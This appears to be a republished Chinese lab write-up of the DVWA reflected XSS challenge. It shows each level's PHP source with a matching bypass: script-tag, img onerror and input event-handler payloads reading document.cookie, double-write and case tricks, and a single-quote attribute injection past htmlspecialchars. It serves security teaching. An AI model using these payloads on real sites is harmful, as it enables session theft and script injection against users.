ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

DVWA靶场之XSS(Reflected)通关

2020-07-15 21:33:15  阅读:321  来源: 互联网

标签:XSS name GET Reflected DVWA token user input


反射型xss

Low:

<?php

 

header ("X-XSS-Protection: 0");

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Feedback for end user

    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

 

?>

没有任何过滤,<script>alert(document.cookie)</script>直接弹框

Medium:

<?php

 

header ("X-XSS-Protection: 0");

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Get input

    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

}

 

?>

过滤了<script>

要么双写绕过,要么大小写绕过

High:

<?php

 

header ("X-XSS-Protection: 0");

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Get input

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

}

?>

黑名单,那就不用script标签,反正xss payload一大堆

<img src=1 one rror=alert(document.cookie)>

<a href=# ><img src="" one rror="alert('xss')"/></a>

<input type="text" name="test" onclick="alert('xss')">

<input type="text" name="test" onm ousedown="alert('xss')">

。。。。。。

等等

Impossible:

 

<?php

 

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

    // Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

 

    // Get input

    $name = htmlspecialchars( $_GET[ 'name' ] );

 

    // Feedback for end user

    echo "<pre>Hello ${name}</pre>";

}

 

// Generate Anti-CSRF token

generateSessionToken();

 

?>

Htmlspecialchars实体编码转义字符,用在某些标签如script、input里某些情况下还是可以绕过的,这里不行

htmlspecialchars(string,flags,character-set,double_encode)中

flags可选引号类型有三个选项:

ENT_QUOTES时会过滤单引号和双引号

ENT_COMPAT为默认,仅过滤双引号(单引号是漏网之鱼)

ENT_NOQUOTES不会过滤任何引号

例如:

<?php

$name=$_GET[“name”];

$name=htmlspecialchars($name);

?>

……

……

<input type=’text’ value=’<?php echo $name ?>’>

lcx' onclick='alert(1)'

可绕过

还有很多场景可以绕过,不一一列举了

标签:XSS,name,GET,Reflected,DVWA,token,user,input
来源: https://www.cnblogs.com/lcxblogs/p/13308246.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有